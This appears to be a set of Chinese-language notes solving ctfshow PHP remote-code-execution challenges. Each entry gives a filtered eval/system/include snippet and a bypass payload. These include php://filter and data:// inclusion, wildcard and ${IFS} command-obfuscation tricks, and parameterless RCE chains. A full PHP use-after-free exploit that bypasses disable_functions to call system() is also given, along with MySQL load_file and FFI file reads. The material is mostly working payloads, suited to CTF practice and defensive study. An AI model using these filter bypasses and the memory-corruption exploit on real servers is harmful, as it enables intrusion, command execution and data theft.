RCE
RCE-Web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
也可以使用包含日志
RCE-Web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
RCE-Web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
data://text/plain,<?php%20system("cat%20f*");?>//
RCE-Web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
无参数rce
show_source(next(array_reverse(scandir(current(localeconv())))));
RCE-Web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
tac%3C'fla''g.php'||ls
RCE-Web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
c\at${IFS}fla\g.php
RCE-Web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
mv${IFS}fla?.php${IFS}a.txt->c=uniq${IFS}a.txt
RCE-Web55
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
由于过滤了字母，但没有过滤数字，我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入，我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
RCE-Web56
https://blog.csdn.net/qq_46091464/article/details/108513145
RCE-Web57
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗？
<?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
只需要传入36即可
通过linux下的取反
可以看到得到36首先要得到-37
拿到-1
获得-37
再次取反
拿到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
RCE-Web72
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
很多函数都被禁用了
glob协议扫目录
uac读文件
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
function ctfshow($cmd) { global $abc, $helper, $backtrace; class vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new exception)->gettrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'); $vuln = new vuln(); $vuln->a = $arg; } if(stristr(php_os, 'win')) { die('this poc is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("uaf failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("couldn't parse elf header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
url编码提交
RCE-Web75
glob协议扫目录
利用Mysql读文件
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
RCE-Web77
PHP7.4以上
$ffi=FFI::cdef("int system(const char *command);");$a='/readflag >1.txt';$ffi->system($a);
RCE-Web118
利用系统环境变量RCE
三种payload
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
${PATH:~A}${PWD:~A}${IFS}????????
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? #利用rev
